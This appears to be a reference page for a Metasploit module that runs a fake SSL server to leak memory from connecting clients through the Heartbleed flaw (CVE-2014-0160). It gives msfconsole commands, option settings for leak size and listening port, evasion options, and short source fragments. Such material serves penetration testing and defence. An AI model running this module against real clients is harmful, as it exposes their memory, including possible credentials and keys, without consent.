OpenSSL Heartbeat (Heartbleed) Client Memory Exposure - Metasploit
This page contains detailed information about how to use the auxiliary/server/openssl_heartbeat_client_memory metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
Module: auxiliary/server/openssl_heartbeat_client_memory
Source code: modules/auxiliary/server/openssl_heartbeat_client_memory.rb
Disclosure date: 2014-04-07
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-0160
This module is also known as Heartbleed.
This module provides a fake SSL service that is intended to leak memory from client systems as they connect. This module is hardcoded for using the AES-128-CBC-SHA1 cipher.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/server/openssl_heartbeat_client_memory
msf auxiliary(openssl_heartbeat_client_memory) > show targets
... a list of targets ...
msf auxiliary(openssl_heartbeat_client_memory) > set TARGET target-id
msf auxiliary(openssl_heartbeat_client_memory) > show options
... show and set options ...
msf auxiliary(openssl_heartbeat_client_memory) > exploit
Go back to menu.
Msfconsole Usage
Here is how the server/openssl_heartbeat_client_memory auxiliary module looks in the msfconsole:
msf6 > use auxiliary/server/openssl_heartbeat_client_memory
msf6 auxiliary(server/openssl_heartbeat_client_memory) > show info
Name: OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
Module: auxiliary/server/openssl_heartbeat_client_memory
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-04-07
Provided by:
Neel Mehta
Riku
Antti
Matti
hdm <[email protected]>
Available actions:
Name Description
---- -----------
Capture Run server to disclose memory from incoming clients
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEARTBEAT_LIMIT 512 yes The number of kilobytes of data to capture at most from each client
HEARTBEAT_READ 65535 yes The number of bytes to leak in the heartbeat response
NEGOTIATE_TLS false yes Set this to true to negotiate TLS and often leak more data at the cost of CA validation
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8443 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Description:
This module provides a fake SSL service that is intended to leak
memory from client systems as they connect. This module is hardcoded
for using the AES-128-CBC-SHA1 cipher.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-0160
https://www.kb.cert.org/vuls/id/720951
https://www.us-cert.gov/ncas/alerts/TA14-098A
http://heartbleed.com/
Also known as:
Heartbleed
Module Options
This is a complete list of options available in the server/openssl_heartbeat_client_memory auxiliary module:
msf6 auxiliary(server/openssl_heartbeat_client_memory) > show options
Module options (auxiliary/server/openssl_heartbeat_client_memory):
Name Current Setting Required Description
---- --------------- -------- -----------
HEARTBEAT_LIMIT 512 yes The number of kilobytes of data to capture at most from each client
HEARTBEAT_READ 65535 yes The number of bytes to leak in the heartbeat response
NEGOTIATE_TLS false yes Set this to true to negotiate TLS and often leak more data at the cost of CA validation
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8443 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Auxiliary action:
Name Description
---- -----------
Capture Run server to disclose memory from incoming clients
Advanced Options
Here is a complete list of advanced options supported by the server/openssl_heartbeat_client_memory auxiliary module:
msf6 auxiliary(server/openssl_heartbeat_client_memory) > show advanced
Module advanced options (auxiliary/server/openssl_heartbeat_client_memory):
Name Current Setting Required Description
---- --------------- -------- -----------
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the server/openssl_heartbeat_client_memory module can do:
msf6 auxiliary(server/openssl_heartbeat_client_memory) > show actions
Auxiliary actions:
Name Description
---- -----------
Capture Run server to disclose memory from incoming clients
Evasion Options
Here is the full list of possible evasion options supported by the server/openssl_heartbeat_client_memory auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(server/openssl_heartbeat_client_memory) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<VALUE> Client rejected our connection with a fatal error: <MESSAGE_REASON>
Here is a relevant code snippet related to the "<VALUE> Client rejected our connection with a fatal error: <MESSAGE_REASON>" error message:
139: print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA")
140: return
141: end
142:
143: if level == 2
144: print_status("#{@state[c][:name]} Client rejected our connection with a fatal error: #{message_reason}")
145: return
146: end
147:
148: end
149:
<VALUE> Failed to decrypt, giving up on this client
Here is a relevant code snippet related to the "<VALUE> Failed to decrypt, giving up on this client" error message:
223: return if @state[c][:shutdown]
224: return unless data.length > 5
225:
226: buff = decrypt_data(c, data[5, data.length-5])
227: unless buff
228: print_error("#{@state[c][:name]} Failed to decrypt, giving up on this client")
229: c.close
230: return
231: end
232:
233: message_code = buff[0,1].to_s.unpack("C").first
<VALUE> Heartbeat data could not be stored
Here is a relevant code snippet related to the "<VALUE> Heartbeat data could not be stored" error message:
270: )
271: print_good("#{@state[c][:name]} Heartbeat data stored in #{path}")
272: rescue ::Interrupt
273: raise $!
274: rescue ::Exception
275: print_error("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")
276: end
277:
278: # Report the memory disclosure as a vulnerability on the host
279: report_vuln({
280: :host => @state[c][:ip],
<VALUE> Decryption failed: <E>
Here is a relevant code snippet related to the "<VALUE> Decryption failed: <E>" error message:
412: # Trim the trailing MAC signature off the buffer
413: if buff.length >= 20
414: return buff[0, buff.length-20]
415: end
416: rescue ::OpenSSL::Cipher::CipherError => e
417: print_error("#{@state[c][:name]} Decryption failed: #{e}")
418: end
419:
420: nil
421: end
422:
Go back to menu.
Related Pull Requests
- #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
- #10570 Merged Pull Request: AKA Metadata Refactor
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8629 Merged Pull Request: add 'Also known as', AKA 'AKA', to module references
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5059 Merged Pull Request: Yard doc corrections
- #3250 Merged Pull Request: Add support for SSLv3, TLSv1.0, TLSv1.1, and TLSv1.2 to openssl_heartbeat_client_memory
- #3233 Merged Pull Request: Fix a few things in the Heartbleed modules
- #3225 Merged Pull Request: openssl_heartbeat_client_memory improvements
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/ssl/openssl_heartbleed
- auxiliary/server/openssl_altchainsforgery_mitm_proxy
- auxiliary/dos/ssl/openssl_aesni
- auxiliary/scanner/ssl/openssl_ccs
- auxiliary/admin/vxworks/wdbrpc_memory_dump
- auxiliary/scanner/http/ms15_034_http_sys_memory_dump
- exploit/windows/browser/adobe_flash_domain_memory_uaf
- exploit/windows/browser/ms09_002_memory_corruption
- post/windows/gather/avast_memory_dump
- post/windows/gather/memory_dump
- post/windows/gather/memory_grep
- post/windows/manage/dell_memory_protect
- payload/cmd/unix/reverse_openssl
- auxiliary/client/hwbridge/connect
- auxiliary/client/iec104/iec104
- auxiliary/client/mms/send_mms
- auxiliary/client/sms/send_text
- auxiliary/client/smtp/emailer
- auxiliary/client/telegram/send_message
- auxiliary/server/dhclient_bash_env
- auxiliary/admin/atg/atg_client
- auxiliary/admin/scada/yokogawa_bkbcopyd_client
- auxiliary/dos/dhcp/isc_dhcpd_clientid
- auxiliary/fuzzers/ftp/client_ftp
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/pcomclient
Related Nessus plugins:
- CentOS 6 : openssl (CESA-2014:0376)
- Debian DSA-2896-1 : openssl - security update
- FreeBSD : OpenSSL -- Remote Information Disclosure (5631ae98-be9e-11e3-b5e3-c80aa9043978)
- Oracle Linux 6 : openssl (ELSA-2014-0376)
- RHEL 6 : openssl (RHSA-2014:0376)
- Ubuntu 12.04 LTS / 12.10 / 13.10 : openssl vulnerabilities (USN-2165-1)
- GLSA-201404-07 : OpenSSL: Information Disclosure
- Scientific Linux Security Update : openssl on SL6.x i386/x86_64
- Slackware 14.0 / 14.1 / current : openssl (SSA:2014-098-01)
- OpenSSL Heartbeat Information Disclosure (Heartbleed)
Authors
- Neel Mehta
- Riku
- Antti
- Matti
- hdm
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.